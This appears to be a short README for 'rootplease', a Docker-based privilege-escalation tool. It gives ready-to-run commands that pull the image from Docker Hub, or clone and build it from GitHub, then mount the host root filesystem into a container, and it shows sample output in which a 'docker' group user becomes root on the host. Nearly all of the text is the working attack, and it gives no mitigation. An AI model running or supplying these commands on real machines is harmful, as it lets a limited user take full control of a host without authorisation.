If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. See my blog post for details.
Through Docker Hub:
> docker run -v /:/hostOS -it --rm chrisfosterelli/rootpleaseOr through Github:
> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease > cd rootplease/ > docker build -t rootplease . > docker run -v /:/hostOS -it --rm rootpleaseAnd the result:
johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root #
